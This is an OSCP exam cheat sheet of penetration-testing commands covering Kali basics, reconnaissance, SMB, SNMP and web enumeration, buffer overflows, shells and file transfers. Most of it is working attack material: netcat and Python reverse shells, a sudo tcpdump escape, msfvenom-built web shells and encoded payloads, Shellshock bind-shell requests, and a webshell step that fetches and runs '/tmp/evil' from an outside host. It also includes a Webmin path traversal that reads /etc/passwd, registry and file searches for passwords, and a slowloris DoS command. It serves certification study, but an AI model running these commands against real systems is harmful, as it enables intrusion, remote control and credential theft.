OSCP-Survival-Guide

OSCP-Survival-Guide

NOTE: This document refers to the target ip as the export variable $ip.

To set this value on the command line use the following syntax:

export ip=192.168.1.100

Table of Contents

Kali Linux

Set the Target IP Address to the $ip system variable
export ip=192.168.1.100
Find the location of a file
locate sbd.exe
Search through directories in the $PATH environment variable
which sbd
Find a search for a file that contains a specific string in it’s name:
find / -name sbd\*
Show active internet connections
netstat -lntp
Change Password
passwd
Verify a service is running and listening
netstat -antp |grep apache
Start a service
systemctl start ssh

systemctl start apache2

Have a service start at boot
systemctl enable ssh
Stop a service
systemctl stop ssh
Unzip a gz file
gunzip access.log.gz
Unzip a tar.gz file
tar -xzvf file.tar.gz
Search command history
history | grep phrase_to_search_for
Download a webpage
wget http://www.cisco.com
Open a webpage
curl http://www.cisco.com
String manipulation
- Count number of lines in file
  wc -l index.html
- Get the start or end of a file
  head index.html

tail index.html

Extract all the lines that contain a string
grep “href=” index.html
Cut a string by a delimiter, filter results then sort
grep “href=” index.html | cut -d “/” -f 3 | grep “\\.” | cut -d ‘”‘ -f 1 | sort -u
Using Grep and regular expressions and output to a file
cat index.html | grep -o ‘http://\[^”\]\*’ | cut -d “/” -f 3 | sort –u > list.txt
Use a bash loop to find the IP address behind each host
for url in $(cat list.txt); do host $url; done
Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d ” ” -f 1 | sort | uniq -c | sort -urn
Decoding using Kali
- Decode Base64 Encoded Values

echo -n “QWxhZGRpbjpvcGVuIHNlc2FtZQ==” | base64 –decode

Decode Hexidecimal Encoded Values
echo -n “46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874” | xxd -r -ps
Netcat – Read and write TCP and UDP Packets
- Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems):https://joncraton.org/blog/46/netcat-for-windows/
- Connect to a POP3 mail server
  nc -nv $ip 110
- Listen on TCP/UDP port
  nc -nlvp 4444
- Connect to a netcat port
  nc -nv $ip 4444
- Send a file using netcat
  nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe
- Receive a file using netcat
  nc -nlvp 4444 > incoming.exe
- Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that…
- whereis nc
- nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz
- /bin/nc.traditional -e /bin/bash 1.2.3.4 4444
Create a reverse shell with Ncat using cmd.exe on Windows
nc.exe -nlvp 4444 -e cmd.exe

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

Create a reverse shell with Ncat using bash on Linux
nc -nv $ip 4444 -e /bin/bash
Netcat for Banner Grabbing:

echo “” | nc -nv -w1 <IP Address> <Ports>

Ncat – Netcat for Nmap project which provides more security avoid IDS
- Reverse shell from windows using cmd.exe using ssl
  ncat –exec cmd.exe –allow $ip -vnl 4444 –ssl
- Listen on port 4444 using ssl
  ncat -v $ip 4444 –ssl
Wireshark
- Show only SMTP (port 25) and ICMP traffic:

tcp.port eq 25 or icmp

Show only traffic in the LAN (192.168.x.x), between workstations and servers — no Internet:

ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:

ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

Some commands are equal

ip.addr == xxx.xxx.xxx.xxx

Equals

ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx

ip.addr != xxx.xxx.xxx.xxx

Equals

ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

Tcpdump
- Display a pcap file
  tcpdump -r passwordz.pcap
- Display ips and filter and sort
  tcpdump -n -r passwordz.pcap | awk -F” ” ‘{print $3}’ | sort -u | head
- Grab a packet capture on port 80
  tcpdump tcp port 80 -w output.pcap -i eth0
- Check for ACK or PSH flag set in a TCP packet
  tcpdump -A -n ‘tcp[13] = 24’ -r passwordz.pcap
Dsniff
- Display a pcap file with telnet protocol
  dsniff -p ch2.pcap
IPTables
- Deny traffic to ports except for Local Loopback

iptables -A INPUT -p tcp –destination-port 13327 ! -d $ip -j DROP

iptables -A INPUT -p tcp –destination-port 9991 ! -d $ip -j DROP

Clear ALL IPTables firewall rules
- “`bash
- iptables -P INPUT ACCEPT
- iptables -P FORWARD ACCEPT
- iptables -P OUTPUT ACCEPT
- iptables -t nat -F
- iptables -t mangle -F
- iptables -F
- iptables -X
- iptables -t raw -F iptables -t raw -X
- “`

Information Gathering & Vulnerability Scanning

Passive Information Gathering
Google Hacking
- Google search to find website sub domains
  site:microsoft.com
- Google filetype, and intitle
  intitle:”netbotz appliance” “OK” -filetype:pdf
- Google inurl
  inurl:”level/15/sexec/-/show”
- Google Hacking Database:
  https://www.exploit-db.com/google-hacking-database/
SSL Certificate Testing
https://www.ssllabs.com/ssltest/analyze.html
Email Harvesting
- Simply Email
  git clone https://github.com/killswitch-GUI/SimplyEmail.git

./SimplyEmail.py -all -e TARGET-DOMAIN

LDAP
- LDAP null bind
  ldapsearch -x -b “ou=anonymous,dc=challenge01,dc=root-me,dc=org” -H “ldap://challenge01.root-me.org:54013”
Netcraft
- Determine the operating system and tools used to build a site
  https://searchdns.netcraft.com/
Whois Enumeration
whois domain-name-here.com

whois $ip

Banner Grabbing
- nc -v $ip 25
- telnet $ip 25
- nc TARGET-IP 80
Recon-ng – full-featured web reconnaissance framework written in Python
- cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git

cd /opt/recon-ng

./recon-ng

show modules

help

Active Information Gathering
Port Scanning

Subnet Reference Table

/	Addresses	Hosts	Netmask	Amount of a Class C
/30	4	2	255.255.255.252	1/64
/29	8	6	255.255.255.248	1/32
/28	16	14	255.255.255.240	1/16
/27	32	30	255.255.255.224	1/8
/26	64	62	255.255.255.192	1/4
/25	128	126	255.255.255.128	1/2
/24	256	254	255.255.255.0	1
/23	512	510	255.255.254.0	2
/22	1024	1022	255.255.252.0	4
/21	2048	2046	255.255.248.0	8
/20	4096	4094	255.255.240.0	16
/19	8192	8190	255.255.224.0	32
/18	16384	16382	255.255.192.0	64
/17	32768	32766	255.255.128.0	128
/16	65536	65534	255.255.0.0	256

Set the ip address as a variable
export ip=192.168.1.100 nmap -A -T4 -p- $ip
Netcat port Scanning
nc -nvv -w 1 -z $ip 3388-3390
Discover active IPs usign ARP on the network: arp-scan $ip/24
Discover who else is on the network
netdiscover
Discover IP Mac and Mac vendors from ARP
netdiscover -r $ip/24
Nmap stealth scan using SYN
nmap -sS $ip
Nmap stealth scan using FIN
nmap -sF $ip
Nmap Banner Grabbing
nmap -sV -sT $ip
Nmap OS Fingerprinting
nmap -O $ip
Nmap Regular Scan:
nmap $ip/24
Enumeration Scan
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
Enumeration Scan All Ports TCP / UDP and output to a txt file
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip
Nmap output to a file:
nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24
Quick Scan:
nmap -T4 -F $ip/24
Quick Scan Plus:
nmap -sV -T4 -O -F –version-light $ip/24
Quick traceroute
nmap -sn –traceroute $ip
All TCP and UDP Ports
nmap -v -sU -sS -p- -A -T4 $ip
Intense Scan:
nmap -T4 -A -v $ip
Intense Scan Plus UDP
nmap -sS -sU -T4 -A -v $ip/24
Intense Scan ALL TCP Ports
nmap -p 1-65535 -T4 -A -v $ip/24
Intense Scan – No Ping
nmap -T4 -A -v -Pn $ip/24
Ping scan
nmap -sn $ip/24
Slow Comprehensive Scan
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 –script “default or (discovery and safe)” $ip/24
Scan with Active connect in order to weed out any spoofed ports designed to troll you
nmap -p1-65535 -A -T5 -sT $ip
Enumeration
DNS Enumeration
- NMAP DNS Hostnames Lookup nmap -F –dns-server <dns server ip> <target ip range>
- Host Lookup
  host -t ns megacorpone.com
- Reverse Lookup Brute Force – find domains in the same range
  for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v “not found”
- Perform DNS IP Lookup
  dig a domain-name-here.com @nameserver
- Perform MX Record Lookup
  dig mx domain-name-here.com @nameserver
- Perform Zone Transfer with DIG
  dig axfr domain-name-here.com @nameserver
- DNS Zone Transfers
  Windows DNS zone transfer

nslookup -> set type=any -> ls -d blah.com

Linux DNS zone transfer

dig axfr blah.com @ns1.blah.com

Dnsrecon DNS Brute Force
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std –xml ouput.xml
Dnsrecon DNS List of megacorp
dnsrecon -d megacorpone.com -t axfr
DNSEnum
dnsenum zonetransfer.me
NMap Enumeration Script List:
- NMap Discovery
  https://nmap.org/nsedoc/categories/discovery.html
- Nmap port version detection MAXIMUM power
  nmap -vvv -A –reason –script=”+(safe or default) and not broadcast” -p <port> <host>
NFS (Network File System) Enumeration
- Show Mountable NFS Shares nmap -sV –script=nfs-showmount $ip
RPC (Remote Procedure Call) Enumeration
- Connect to an RPC share without a username and password and enumerate privledges rpcclient –user=”” –command=enumprivs -N $ip
- Connect to an RPC share with a username and enumerate privledges rpcclient –user=”<Username>” –command=enumprivs $ip
SMB Enumeration
- SMB OS Discovery
  nmap $ip –script smb-os-discovery.nse
- Nmap port scan
  nmap -v -p 139,445 -oG smb.txt $ip-254
- Netbios Information Scanning
  nbtscan -r $ip/24
- Nmap find exposed Netbios servers
  nmap -sU –script nbstat.nse -p 137 $ip
- Nmap all SMB scripts scan

nmap -sV -Pn -vv -p 445 –script='(smb*) and not (brute or broadcast or dos or external or fuzzer)’ –script-args=unsafe=1 $ip

Nmap all SMB scripts authenticated scan

nmap -sV -Pn -vv -p 445 –script-args smbuser=<username>,smbpass=<password> –script='(smb*) and not (brute or broadcast or dos or external or fuzzer)’ –script-args=unsafe=1 $ip

SMB Enumeration Tools
nmblookup -A $ip

smbclient //MOUNT/share -I $ip -N

rpcclient -U “” $ip

enum4linux $ip

enum4linux -a $ip

SMB Finger Printing
smbclient -L //$ip
Nmap Scan for Open SMB Shares
nmap -T4 -v -oA shares –script smb-enum-shares –script-args smbuser=username,smbpass=password -p445 192.168.10.0/24
Nmap scans for vulnerable SMB Servers
nmap -v -p 445 –script=smb-check-vulns –script-args=unsafe=1 $ip
Nmap List all SMB scripts installed
ls -l /usr/share/nmap/scripts/smb*
Enumerate SMB Users

nmap -sU -sS –script=smb-enum-users -p U:137,T:139 $ip-14

python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip

RID Cycling – Null Sessions
ridenum.py $ip 500 50000 dict.txt
Manual Null Session Testing

Windows: net use \\$ip\IPC$ “” /u:””

Linux: smbclient -L //$ip

SMTP Enumeration – Mail Severs
- Verify SMTP port using Netcat
  nc -nv $ip 25
POP3 Enumeration – Reading other peoples mail – You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
USER billydean
+OK
PASS password
+OK Welcome billydean
list
+OK 2 1807
1 786
2 1021
retr 1
+OK Message follows
From: jamesbrown@motown.com
Dear Billy Dean,
Here is your login for remote desktop … try not to forget it this time!
username: billydean
password: PA$$W0RD!Z

SNMP Enumeration -Simple Network Management Protocol
- Fix SNMP output values so they are human readable
  apt-get install snmp-mibs-downloader download-mibs echo “” > /etc/snmp/snmp.conf
- SNMP Enumeration Commands
  - snmpcheck -t $ip -c public
  - snmpwalk -c public -v1 $ip 1|
  - grep hrSWRunName|cut -d\* \* -f
  - snmpenum -t $ip
  - onesixtyone -c names -i hosts
- SNMPv3 Enumeration
  nmap -sV -p 161 –script=snmp-info $ip/24
- Automate the username enumeration process for SNMPv3:
  apt-get install snmp snmp-mibs-downloader wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
- SNMP Default Credentials
  /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
MS SQL Server Enumeration
- Nmap Information Gathering

nmap -p 1433 –script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes –script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip

Webmin and miniserv/0.01 Enumeration – Port 10000

Test for LFI & file disclosure vulnerability by grabbing /etc/passwd

`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`

Test to see if webmin is running as root by grabbing /etc/shadow

Linux OS Enumeration
- List all SUID files
  find / -perm -4000 2>/dev/null
- Determine the current version of Linux
  cat /etc/issue
- Determine more information about the environment
  uname -a
- List processes running
  ps -xaf
- List the allowed (and forbidden) commands for the invoking use
  sudo -l
- List iptables rules
  iptables –table nat –list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security
Windows OS Enumeration
- net config Workstation
- systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
- hostname
- net users
- ipconfig /all
- route print
- arp -A
- netstat -ano
- netsh firewall show state
- netsh firewall show config
- schtasks /query /fo LIST /v
- tasklist /SVC
- net start
- DRIVERQUERY
- reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- dir /s pass == cred == vnc == .config
- findstr /si password *.xml *.ini *.txt
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s
Vulnerability Scanning with Nmap
Nmap Exploit Scripts
https://nmap.org/nsedoc/categories/exploit.html
Nmap search through vulnerability scripts
cd /usr/share/nmap/scripts/ ls -l \*vuln\*
Nmap search through Nmap Scripts for a specific keyword
ls /usr/share/nmap/scripts/\* | grep ftp
Scan for vulnerable exploits with nmap
nmap –script exploit -Pn $ip
NMap Auth Scripts
https://nmap.org/nsedoc/categories/auth.html
Nmap Vuln Scanning
https://nmap.org/nsedoc/categories/vuln.html
NMap DOS Scanning
nmap –script dos -Pn $ip NMap Execute DOS Attack nmap –max-parallelism 750 -Pn –script http-slowloris –script-args http-slowloris.runforever=true
Scan for coldfusion web vulnerabilities
nmap -v -p 80 –script=http-vuln-cve2010-2861 $ip
Anonymous FTP dump with Nmap
nmap -v -p 21 –script=ftp-anon.nse $ip-254
SMB Security mode scan with Nmap
nmap -v -p 21 –script=ftp-anon.nse $ip-254
File Enumeration
- Find UID 0 files root execution
- /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null
- Get handy linux file system enumeration script (/var/tmp)
  wget https://highon.coffee/downloads/linux-local-enum.sh chmod +x ./linux-local-enum.sh ./linux-local-enum.sh
- Find executable files updated in August
  find / -executable -type f 2> /dev/null | egrep -v “^/bin|^/var|^/etc|^/usr” | xargs ls -lh | grep Aug
- Find a specific file on linux
  find /. -name suid\*
- Find all the strings in a file
  strings <filename>
- Determine the type of a file
  file <filename>
HTTP Enumeration
- Search for folders with gobuster:
  gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
- OWasp DirBuster – Http folder enumeration – can take a dictionary file
- Dirb – Directory brute force finding using a dictionary file
  dirb http://$ip/ wordlist.dict dirb <http://vm/>

Dirb against a proxy

dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129
Nikto
nikto -h $ip
HTTP Enumeration with NMAP
nmap –script=http-enum -p80 -n $ip/24
Nmap Check the server methods
nmap –script http-methods –script-args http-methods.url-path=’/test’ $ip
Get Options available from web server curl -vX OPTIONS vm/test
Uniscan directory finder:
uniscan -qweds -u <http://vm/>
Wfuzz – The web brute forcer

wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test

wfuzz -c –hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt “$ip:60080/?page=mailer&mail=FUZZ”

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt –hc 404 $ip/FUZZ

Recurse level 3

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 –sc 200 $ip/FUZZ

Open a service using a port knock (Secured with Knockd)
for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x server_ip_address; done
WordPress Scan – WordPress security scanner
- wpscan –url $ip/blog –proxy $ip:3129
RSH Enumeration – Unencrypted file transfer system
- auxiliary/scanner/rservices/rsh_login
Finger Enumeration
- finger @$ip
- finger batman@$ip
TLS & SSL Testing
- ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html
Proxy Enumeration (useful for open proxies)
- nikto -useproxy http://$ip:3128 -h $ip
Steganography

apt-get install steghide

steghide extract -sf picture.jpg

steghide info picture.jpg

apt-get install stegosuite

The OpenVAS Vulnerability Scanner
- apt-get update
  apt-get install openvas
  openvas-setup
- netstat -tulpn
- Login at:
  https://$ip:9392

Buffer Overflows and Exploits

DEP and ASLR – Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)
Nmap Fuzzers:
- NMap Fuzzer List
  https://nmap.org/nsedoc/categories/fuzzer.html
- NMap HTTP Form Fuzzer
  nmap –script http-form-fuzzer –script-args ‘http-form-fuzzer.targets={1={path=/},2={path=/register.html}}’ -p 80 $ip
- Nmap DNS Fuzzer
  nmap –script dns-fuzz –script-args timelimit=2h $ip -d
MSFvenom
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
Windows Buffer Overflows
- Controlling EIP
- locate pattern_create
- pattern_create.rb -l 2700
- locate pattern_offset
- pattern_offset.rb -q 39694438
Verify exact location of EIP – [*] Exact match at offset 2606
- buffer = “A” \* 2606 + “B” \* 4 + “C” \* 90

Check for “Bad Characters” – Run multiple times 0x00 – 0xFF
Use Mona to determine a module that is unprotected
Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP
Use NASM to determine the HEX code for a JMP ESP instruction
- /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
- JMP ESP
- 00000000 FFE4 jmp esp
Run Mona in immunity log window to find (FFE4) XEF command
- !mona find -s “\xff\xe4” -m slmfc.dll
- found at 0x5f4a358f – Flip around for little endian format
- buffer = “A” * 2606 + “\x8f\x35\x4a\x5f” + “C” * 390
MSFVenom to create payload
- msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b “\x00\x0a\x0d”
Final Payload with NOP slide
- buffer=”A”*2606 + “\x8f\x35\x4a\x5f” + “\x90” * 8 + shellcode

Create a PE Reverse Shell
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -o shell_reverse.exe
Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
Create a PE reverse shell and embed it into an existing executable
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
Create a PE Reverse HTTPS shell
msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe
Linux Buffer Overflows
- Run Evans Debugger against an app
  edb –run /usr/games/crossfire/bin/crossfire
- ESP register points toward the end of our CBuffer
  add eax,12
  jmp eax
  83C00C add eax,byte +0xc
  FFE0 jmp eax
- Check for “Bad Characters” Process of elimination – Run multiple times 0x00 – 0xFF
- Find JMP ESP address
  “\x97\x45\x13\x08” # Found at Address 08134597
- crash = “\x41” * 4368 + “\x97\x45\x13\x08” + “\x83\xc0\x0c\xff\xe0\x90\x90”
- msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b “\x00\x0a\x0d\x20” –e x86/shikata_ga_nai
- Connect to the shell with netcat:
  nc -v $ip 4444

Shells

Netcat Shell Listener

nc -nlvp 4444

Spawning a TTY Shell – Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user.
(For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )
(hint: sudo -l to see what you can run)
You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost:
- ssh user@$ip nc $localip 4444 -e /bin/sh
- enter user’s password
- python -c ‘import pty; pty.spawn(“/bin/sh”)’
- export TERM=linux

python -c ‘import pty; pty.spawn(“/bin/sh”)’

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM); s.connect((“$ip”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\[“/bin/sh”,”-i”\]);’

echo os.system(‘/bin/bash’)

/bin/sh -i

perl —e ‘exec “/bin/sh”;’

perl: exec “/bin/sh”;

ruby: exec “/bin/sh”

lua: os.execute(‘/bin/sh’)

From within IRB: exec “/bin/sh”

From within vi: :!bash or

:set shell=/bin/bash:shell

From within vim ‘:!bash’:

From within nmap: !sh

From within tcpdump

echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

From busybox /bin/busybox telnetd -|/bin/sh -p9999

Pen test monkey PHP reverse shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shel
php-findsock-shell – turns PHP port 80 into an interactive shell
http://pentestmonkey.net/tools/web-shells/php-findsock-shell
Perl Reverse Shell
http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
PHP powered web browser Shell b374k with file upload etc.
https://github.com/b374k/b374k
Windows reverse shell – PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shellhttps://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
Creating Meterpreter Shells with MSFVenom – http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:

cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler

set PAYLOAD <Payload name>

set LHOST <LHOST value>

set LPORT <LPORT value>

set ExitOnSession false

exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/
use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter
SBD.exe

sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-binaries/backdoors/sbd.exe) can be uploaded to a windows box as a Netcat alternative.

Shellshock
- Testing for shell shock with NMap

root@kali:~/Documents# nmap -sV -p 80 –script http-shellshock –script-args uri=/cgi-bin/admin.cgi $ip

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET –command “/bin/cat /etc/passwd” -c /cgi-bin/status –verbose

Shell Shock SSH Forced Command
Check for forced command by enabling all debug output with ssh
- ssh -vvv
- ssh -i noob noob@$ip ‘() { :;}; /bin/bash’
cat file (view file contents)
- echo -e “HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n” | nc TARGET 80
Shell Shock run bind shell
- echo -e “HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n” | nc TARGET 80

File Transfers

Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.
Simple Local Web Servers
- Run a basic http server, great for serving up shells etc
  python -m SimpleHTTPServer 80
- Run a basic Python3 http server, great for serving up shells etc
  python3 -m http.server
- Run a ruby webrick basic http server
  ruby -rwebrick -e “WEBrick::HTTPServer.new
  (:Port => 80, :DocumentRoot => Dir.pwd).start”
- Run a basic PHP http server
  php -S $ip:80
Creating a wget VB Script on Windows:
https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt
Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):
echo Set args = Wscript.Arguments >> webdl.vbs
timeout 1
echo Url = “http://1.1.1.1/windows-privesc-check2.exe” >> webdl.vbs
timeout 1
echo dim xHttp: Set xHttp = createobject(“Microsoft.XMLHTTP”) >> webdl.vbs
timeout 1
echo dim bStrm: Set bStrm = createobject(“Adodb.Stream”) >> webdl.vbs
timeout 1
echo xHttp.Open “GET”, Url, False >> webdl.vbs
timeout 1
echo xHttp.Send >> webdl.vbs
timeout 1
echo with bStrm >> webdl.vbs
timeout 1
echo .type = 1 ‘ >> webdl.vbs
timeout 1
echo .open >> webdl.vbs
timeout 1
echo .write xHttp.responseBody >> webdl.vbs
timeout 1
echo .savetofile “C:\temp\windows-privesc-check2.exe”, 2 ‘ >> webdl.vbs
timeout 1
echo end with >> webdl.vbs
timeout 1
echo

The file can be run using the following syntax:

C:\temp\cscript.exe webdl.vbs

Mounting File Shares
- Mount NFS share to /mnt/nfs
  mount $ip:/vol/share /mnt/nfs
HTTP Put
nmap -p80 $ip –script http-put –script-args http-put.url=’/test/sicpwn.php’,http-put.file=’/var/www/html/sicpwn.php
Uploading Files
- SCP

scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2

scp localfile username@$ip:~/Folder/

scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~

Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method – This tool will auto upload a backdoor

davtest -move -sendbd auto -url http://$ip

https://github.com/cldrn/davtest

You can also upload a file using the PUT method with the curl command:

curl -T ‘leetshellz.txt’ ‘http://$ip’

And rename it to an executable file using the MOVE method with the curl command:

curl -X MOVE –header ‘Destination:http://$ip/leetshellz.php’ ‘http://$ip/leetshellz.txt’

Upload shell using limited php shell cmd
use the webshell to download and execute the meterpreter
[curl -s –data “cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil” http://$ip/files/sh.php
[curl -s –data “cmd=chmod 777 /tmp/evil” http://$ip/files/sh.php
curl -s –data “cmd=bash -c /tmp/evil” http://$ip/files/sh.php
TFTP
mkdir /tftp
atftpd –daemon –port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/
EX. FROM WINDOWS HOST:
C:\Users\Offsec>tftp -i $ip get nc.exe
FTP
apt-get update && apt-get install pure-ftpd

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
